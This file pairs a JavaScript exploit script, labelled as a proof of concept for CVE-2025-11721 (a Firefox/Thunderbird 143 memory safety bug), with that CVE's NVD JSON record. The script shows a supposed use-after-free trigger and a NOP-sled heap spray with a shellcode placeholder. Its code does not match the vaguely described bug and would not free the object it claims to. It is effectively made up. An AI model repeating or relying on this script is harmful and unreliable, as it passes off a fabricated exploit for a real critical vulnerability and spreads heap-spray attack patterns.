CVE-2025-11721

# CVE-2025-11721 - Firefox 143 / Thunderbird 143 Memory Safety Bug PoC # Note: This is a conceptual PoC demonstrating the exploitation pattern for memory safety bugs. # Actual exploitation requires precise memory layout control and may vary by platform. # WARNING: For educational and authorized testing purposes only. // PoC for Use-After-Free type memory corruption in Firefox 143 // The vulnerability exists in the JavaScript engine's object handling function trigger_uaf() { // Step 1: Create an object that will be vulnerable to UAF let vulnerable_obj = { data: new ArrayBuffer(0x1000), callback: function() { return this.data; } }; // Step 2: Store a reference for later use after free let saved_ref = vulnerable_obj.callback; // Step 3: Trigger garbage collection to free the object vulnerable_obj = null; gc(); // Force garbage collection // Step 4: Allocate new objects to fill the freed memory slot let spray = []; for (let i = 0; i < 10000; i++) { spray.push(new ArrayBuffer(0x1000)); } // Step 5: Access the dangling pointer - triggers UAF // This causes memory corruption as the freed memory is now reused try { saved_ref(); } catch(e) { // Memory corruption has occurred } } // Alternative: Heap spray + type confusion trigger function heap_spray_exploit() { let shellcode = new Uint8Array([ 0x90, 0x90, 0x90, 0x90, // NOP sled // Shellcode would be placed here for arbitrary code execution ]); // Spray heap with controlled data let spray_arr = []; for (let i = 0; i < 0x1000; i++) { spray_arr.push(shellcode); } // Trigger the memory corruption vulnerability trigger_uaf(); } // Execute the exploit trigger_uaf();

{"cve": {"id": "CVE-2025-11721", "sourceIdentifier": "[email protected]", "published": "2025-10-14T13:15:38.520", "lastModified": "2026-04-13T15:16:41.590", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memory safety bug present in Firefox 143 and Thunderbird 143. This bug showed evidence of memory corruption and we presume that with enough effort this could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 144 and Thunderbird 144."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:*:*:*:*", "versionStartIncluding": "143.0", "versionEndExcluding": "144.0", "matchCriteriaId": "4B82B1C7-1B0F-45B7-8234-D85DDEB63886"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionStartIncluding": "143.0", "versionEndExcluding": "144.0", "matchCriteriaId": "08E54DCC-0AA4-47DE-9DF2-C4135B0D433D"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1986816", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-81/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-84/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}